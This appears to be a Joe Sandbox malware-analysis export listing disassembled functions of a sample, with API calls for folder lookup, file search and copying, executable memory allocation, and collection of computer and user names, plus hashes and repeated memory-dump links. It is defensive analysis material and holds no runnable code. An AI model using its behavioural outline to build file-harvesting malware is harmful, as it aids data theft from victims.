Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 8cef8817415fc7eb5e2852e1103b83b0ea0fb8c455f957f599d62e923ce47920
Instruction ID: 084c3094db70eefcadb15d5e9e9435c2a31cc491f82b2128f0a8b4e5cc955614
Opcode Fuzzy Hash: 8cef8817415fc7eb5e2852e1103b83b0ea0fb8c455f957f599d62e923ce47920
Instruction Fuzzy Hash: 4E711271E101089BDF44FBA0DC96DEE7379BF95300F408529F51AA6092EF386A09CB67

Function 00074BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00078DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00078E0B

lstrcat.KERNEL32(?,00000000), ref: 00074BEA
lstrcat.KERNEL32(?,00D7D678), ref: 00074C08

Part of subcall function 00074910: wsprintfA.USER32 ref: 0007492C
Part of subcall function 00074910: FindFirstFileA.KERNEL32(?,?), ref: 00074943

Part of subcall function 00074910: StrCmpCA.SHLWAPI(?,00080FDC), ref: 00074971
Part of subcall function 00074910: StrCmpCA.SHLWAPI(?,00080FE0), ref: 00074987
Part of subcall function 00074910: FindNextFileA.KERNEL32(000000FF,?), ref: 00074B7D
Part of subcall function 00074910: FindClose.KERNEL32(000000FF), ref: 00074B92

Part of subcall function 00074910: wsprintfA.USER32 ref: 000749B0
Part of subcall function 00074910: StrCmpCA.SHLWAPI(?,000808D2), ref: 000749C5
Part of subcall function 00074910: wsprintfA.USER32 ref: 000749E2
Part of subcall function 00074910: PathMatchSpecA.SHLWAPI(?,?), ref: 00074A1E
Part of subcall function 00074910: lstrcat.KERNEL32(?,00D7E3E0), ref: 00074A4A
Part of subcall function 00074910: lstrcat.KERNEL32(?,00080FF8), ref: 00074A5C
Part of subcall function 00074910: lstrcat.KERNEL32(?,?), ref: 00074A70
Part of subcall function 00074910: lstrcat.KERNEL32(?,00080FFC), ref: 00074A82
Part of subcall function 00074910: lstrcat.KERNEL32(?,?), ref: 00074A96
Part of subcall function 00074910: CopyFileA.KERNEL32(?,?,00000001), ref: 00074AAC
Part of subcall function 00074910: DeleteFileA.KERNEL32(?), ref: 00074B31

Part of subcall function 00074910: wsprintfA.USER32 ref: 00074A07

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: ca46f49121fbac0db6a6fe661db1243449641becf88b807ee5609f538f5f2f66
Instruction ID: cfd2a27defc921ef3dc5f4a7708d8c45c0ae77c3139633ce8c5ccabb92a5d821
Opcode Fuzzy Hash: ca46f49121fbac0db6a6fe661db1243449641becf88b807ee5609f538f5f2f66
Instruction Fuzzy Hash: 91416A76900104A7D794F760FC46DFE733DAB99700F008558B68A57186EE755B8CCB92

Function 00066660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00066706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00066753

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9bc07e33424c8880cbc071140b111b07b2c024e677093f8064f88af1f8862d35
Instruction ID: 650d92b2fb904553a3506ff410cc443776d6fd9b65d29aef6f5445e69253286e
Opcode Fuzzy Hash: 9bc07e33424c8880cbc071140b111b07b2c024e677093f8064f88af1f8862d35
Instruction Fuzzy Hash: 2E41CB74A00209EFCB54CF58C494BADBBB2FF44314F2482A9E9599B355D732EA81CF84

Function 00075050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00078DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00078E0B

lstrcat.KERNEL32(?,00000000), ref: 0007508A
lstrcat.KERNEL32(?,00D7DD70), ref: 000750A8

Part of subcall function 00074910: wsprintfA.USER32 ref: 0007492C
Part of subcall function 00074910: FindFirstFileA.KERNEL32(?,?), ref: 00074943

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 2a08f19a553bdc2594af3e54fc2d732df8f0645aa06d2a333d6d26f4522a5447
Instruction ID: 906c5b637b77894ef4fb53147e9df540645f686e067b8185f97a3ffcf5c2178b
Opcode Fuzzy Hash: 2a08f19a553bdc2594af3e54fc2d732df8f0645aa06d2a333d6d26f4522a5447
Instruction Fuzzy Hash: 12018C76900108A7C794F760EC46DEE733CAB55300F008554B64D56192EF749A88CB92

Function 000610A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 000610B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 000610F7

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 0c5a35da9c51de891d40e21eb44f1420df635e85b9e4394e15bde76a41a174b7
Instruction ID: 2337ea19088f9927ede13e92fa3dd8deb49fd1b1a679512ea92edc1d61cb3097
Opcode Fuzzy Hash: 0c5a35da9c51de891d40e21eb44f1420df635e85b9e4394e15bde76a41a174b7
Instruction Fuzzy Hash: 2AF0E971641204BBEB1496A4AC4DFFFB7D8D705715F304448F504E3280D6715E00CA94

Function 00078D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00061B54,?,?,0008564C,?,?,00080E1F), ref: 00078D9F

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 13afcef89d90198d558170ba1349d124d5850ad1ef660ab823e0e7bcc1952b4a
Instruction ID: 22b1e50a11bbdc8a952b519717f33b9bddc562c05bf06adc8cd3452cda1da572
Opcode Fuzzy Hash: 13afcef89d90198d558170ba1349d124d5850ad1ef660ab823e0e7bcc1952b4a
Instruction Fuzzy Hash: 70F01570D00208EBCB20EFA4D9496EDBB74EB11310F10C199E82A6B2C1DB385A49DF86

Function 00078DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00078E0B

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: e7a90d11ced62587a7998ac099db4fa85588fbaa833f920c665d7de6c38d8d53
Instruction ID: b33a5323026ef7fa9e0ac6ec6cb6b0552decd115c35edc85befc6ed2cdf08f8e
Opcode Fuzzy Hash: e7a90d11ced62587a7998ac099db4fa85588fbaa833f920c665d7de6c38d8d53
Instruction Fuzzy Hash: B0E01A31E4034C6BDB91EB90DC96FEE737C9B44B01F008295BA0C5A1C1DE74AB858B91

Function 00061190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 000778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077910
Part of subcall function 000778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00077917
Part of subcall function 000778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0007792F

Part of subcall function 00077850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000611B7), ref: 00077880
Part of subcall function 00077850: RtlAllocateHeap.NTDLL(00000000), ref: 00077887
Part of subcall function 00077850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0007789F

ExitProcess.KERNEL32 ref: 000611C6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 96a909e83b396784f01824b00b3b01e69b511b66c2792a218701b369a1fcf1fe
Instruction ID: 80b834e51a1155de0f6584011a4f61b07e9607c6ace425d5a232f78538ff76c2
Opcode Fuzzy Hash: 96a909e83b396784f01824b00b3b01e69b511b66c2792a218701b369a1fcf1fe
Instruction Fuzzy Hash: 20E0ECB5D9420163DA8077B0BC0EBAA329D5B16785F088425BA0D96503FE2DE810C6AF

Function 00078E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00078E52

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
